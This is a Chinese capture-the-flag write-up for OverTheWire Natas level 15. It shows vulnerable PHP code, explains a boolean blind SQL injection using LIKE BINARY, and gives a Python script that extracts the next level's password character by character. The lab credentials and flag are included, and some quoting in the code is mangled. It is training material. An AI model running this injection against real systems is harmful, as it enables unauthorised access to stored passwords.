Natas15:
源码如下
/* CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL ); */ if(array_key_exists("username", $_REQUEST)) { $link = mysql_connect('localhost', 'natas15', '<censored>'); mysql_select_db('natas15', $link); $query = "SELECT * from users where username="".$_REQUEST["username"]."""; if(array_key_exists("debug", $_GET)) { echo "Executing query: $query<br>"; } $res = mysql_query($query, $link); if($res) { if(mysql_num_rows($res) > 0) { echo "This user exists.<br>"; } else { echo "This user doesn't exist.<br>"; } } else { echo "Error in query.<br>"; } mysql_close($link); }
依旧是sql注入题,审计源码,发现没有sql信息的回显,只有对用户名的判断,确定是sql盲注。
Sql查询语句如下:
$query = "SELECT * from users where username="".$_REQUEST["username"].""";
Databse构造语句如下:
CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL );
猜测一下,是否存在user=natas16,返回存在。因为每一关的key都长达32位,不容易爆破,使用注入得到password更合适一些。虽然sql语句中只查询了username,但可以使用and将对password的查询连接起来,构成布尔注入,使用like模糊查询,最终得到key。
假设我们输入的sql语句是下面这样的
select * from users where username=natas16 and password like binary “W%”
其中,like是模糊查询,binary是区分大小写,%是万用字元,W%是指数据库password列找到以W开头的数据,and 是在满足前一个用户名的条件下匹配后一个。
如果这里的W是密码开头的字符,就会返回user exists,如果不是会返回user doesn't exist,我们就可以知道这个字符是不是密码的第一个字符(密码都是由0-9,a-z,A-Z组成,跑过每一个字符即可),确认了第一个字符后接着确认第二个,依次类推。。。
脚本:
# coding=utf-8 import requests url = "http://natas15.natas.labs.overthewire.org/index.php" auth=requests.auth.HTTPBasicAuth('natas15','AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J') chr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz" flag="" i=0 while i < len(chr): payload = "natas16" AND password like binary""+flag+chr[i]+"%" #" req = requests.post(url,auth=auth,data={"username":payload}) if "This user exists" in req.text: flag+=chr[i] print(flag) i=0 continue i+=1
flag:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
参考:
https://blog.csdn.net/lyover/article/details/50032867
https://www.cnblogs.com/ichunqiu/p/9554885.html
https://www.freebuf.com/column/182518.html